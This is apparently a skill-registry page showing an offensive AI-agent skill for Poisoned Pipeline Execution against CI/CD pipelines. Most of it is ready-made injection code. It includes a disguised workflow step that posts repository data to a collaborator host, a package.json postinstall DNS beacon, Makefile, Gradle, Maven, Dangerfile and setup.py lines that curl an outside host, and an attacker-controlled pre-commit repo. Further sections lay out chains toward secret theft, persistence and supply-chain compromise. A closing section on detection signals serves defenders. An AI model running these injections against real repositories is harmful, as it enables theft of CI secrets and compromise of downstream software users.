Poisoned Pipeline Execution (PPE) — direct + indirect: inject commands via attacker-controllable build files (Makefile, package.json scripts, build.gradle, Dangerfile, .pre-commit-config.yaml), abuse pull_request_target / fork-PR triggers, and ride dependency / test-script execution on CI.
63
75%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/cicd/poisoned-pipeline-execution/SKILL.mdPPE = run attacker code inside the target's CI job by editing files the pipeline already executes. Two flavors (Palawan / CIDER taxonomy):
.github/workflows/*.yml, .gitlab-ci.yml, Jenkinsfile) in a PR/branch the CI runs.Makefile, build.gradle, pom.xml), package-manager scripts (package.json scripts, setup.py), lint/test hooks (Dangerfile, .pre-commit-config.yaml, tox.ini, pyproject.toml [tool.poetry.scripts]), or any file make test ends up sourcing.# 1. Workflow triggers that build PRs
grep -rE '^\s*(pull_request|pull_request_target)\s*:' <REPO>/.github/workflows/ 2>/dev/null
# 2. Does CI install + run scripts before any review gate?
grep -rnE 'npm (ci|install|test|run)|yarn|pnpm|pip install|poetry install|make |gradle|mvn |tox' <REPO>/.github/workflows/ <REPO>/.gitlab-ci.yml 2>/dev/null
# 3. Are forks allowed? (default: yes on public repos)
gh api "repos/<OWNER>/<REPO>" --jq '{visibility,fork,allow_forking,default_branch}'
# 4. Does a maintainer have to approve fork-PR workflow runs? (org/repo setting)
gh api "repos/<OWNER>/<REPO>/actions/permissions" --jq '.allowed_actions,.enabled' 2>/dev/null
# Default for public repos: first-time contributors require approval; returning contributors don't.# Attacker branch: feature/innocent-typo-fix
# .github/workflows/ci.yml — add a step that exfils env
name: CI
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: "fix: tweak test runner" # blends in
run: |
# Beacon-only PoC — DO NOT exfil real secrets in research
curl -sX POST "https://<COLLAB>/$(echo -n "$GITHUB_REPOSITORY" | base64)" \
-d "ref=$GITHUB_REF"D-PPE works when the workflow runs on pull_request from forks without the "require approval" gate, or when the attacker has push access to a branch CI builds.
// PR diff — adds a postinstall that fires when CI runs `npm ci`
{
"scripts": {
"test": "jest",
"postinstall": "node -e \"require('dns').lookup(require('crypto').randomBytes(6).toString('hex')+'.<COLLAB>',()=>{})\""
}
}npm ci / npm install will execute postinstall by default. Same trick works with preinstall, prepare, prepublish. Yarn / pnpm honor the same hooks.
make test# PR adds an indented line under the existing `test:` target
test:
pytest -q
@curl -s "https://<COLLAB>/make-test-$$(hostname)" >/dev/null || true// build.gradle — runs at evaluation, before any task
allprojects {
doFirst {
"curl -s https://<COLLAB>/gradle".execute()
}
}<!-- pom.xml — exec-maven-plugin attached to validate phase -->
<plugin>
<groupId>org.codehaus.mojo</groupId><artifactId>exec-maven-plugin</artifactId>
<executions><execution><phase>validate</phase>
<goals><goal>exec</goal></goals>
<configuration><executable>curl</executable>
<arguments><argument>-s</argument><argument>https://<COLLAB>/mvn</argument></arguments>
</configuration>
</execution></executions>
</plugin># Dangerfile — runs on every PR in many JS/iOS pipelines
`curl -s https://<COLLAB>/danger`# .pre-commit-config.yaml — points to attacker-controlled repo
repos:
- repo: https://github.com/<ATTACKER>/innocent-lint
rev: main
hooks: [{ id: lint }]# setup.py — runs at `pip install .` time
from setuptools import setup
import os; os.system("curl -s https://<COLLAB>/setuppy")
setup(name="x", version="0.0.0")conftest.py, jest.setup.js, karma.conf.js, cypress/support/index.js, phpunit.xml bootstrap files — all execute before the first test runs.
pull_request_target — the dangerous triggerpull_request_target runs in the base repo context with secrets and a write GITHUB_TOKEN, but if the workflow then checks out the PR head, the attacker's code runs privileged:
# VULNERABLE — DO NOT WRITE THIS
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with: { ref: ${{ github.event.pull_request.head.sha }} } # <-- attacker code
- run: npm ci && npm test # <-- runs attacker code with secrets in envA fork PR adding an postinstall to package.json now runs with secrets.* available.
| Chain | Pivot |
|---|---|
I-PPE in a build script -> printenv -> CI secret -> deploy creds | See cicd-secrets-exfil/SKILL.md |
| D-PPE on protected branch via stale review approval | Push to PR after approval (use dismiss_stale_reviews-misconfigured repos) |
| I-PPE on self-hosted runner | Persistence via cron / systemd; see self-hosted-runner-abuse/SKILL.md |
I-PPE -> push tag / publish package via GITHUB_TOKEN | Downstream supply-chain compromise |
| Tool | Use |
|---|---|
gato / gato-x | Scans orgs for PPE-prone workflows, automates fork-PR PoC |
actionlint | Reverse-use: flags pull_request_target + PR-head checkout |
octoscan, zizmor | Static workflow analyzers |
tj-actions/changed-files CVE-2025-30066 | Real-world I-PPE-via-action precedent |
| Signal | Where |
|---|---|
Edit to .github/workflows/* in a fork PR | GitHub UI flags "workflow file change" on first run; defenders watch for it |
New postinstall / preinstall / prepare in package.json diff | git log -p package.json |
| New outbound network from CI runner during build | egress filtering on runner subnet |
pull_request_target + checkout of head.sha | static lint (zizmor, octoscan) |
security-research-* fork; close + delete after capture.tj-actions/changed-files incident (Mar 2025) — supply-chain via reused actionIf you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.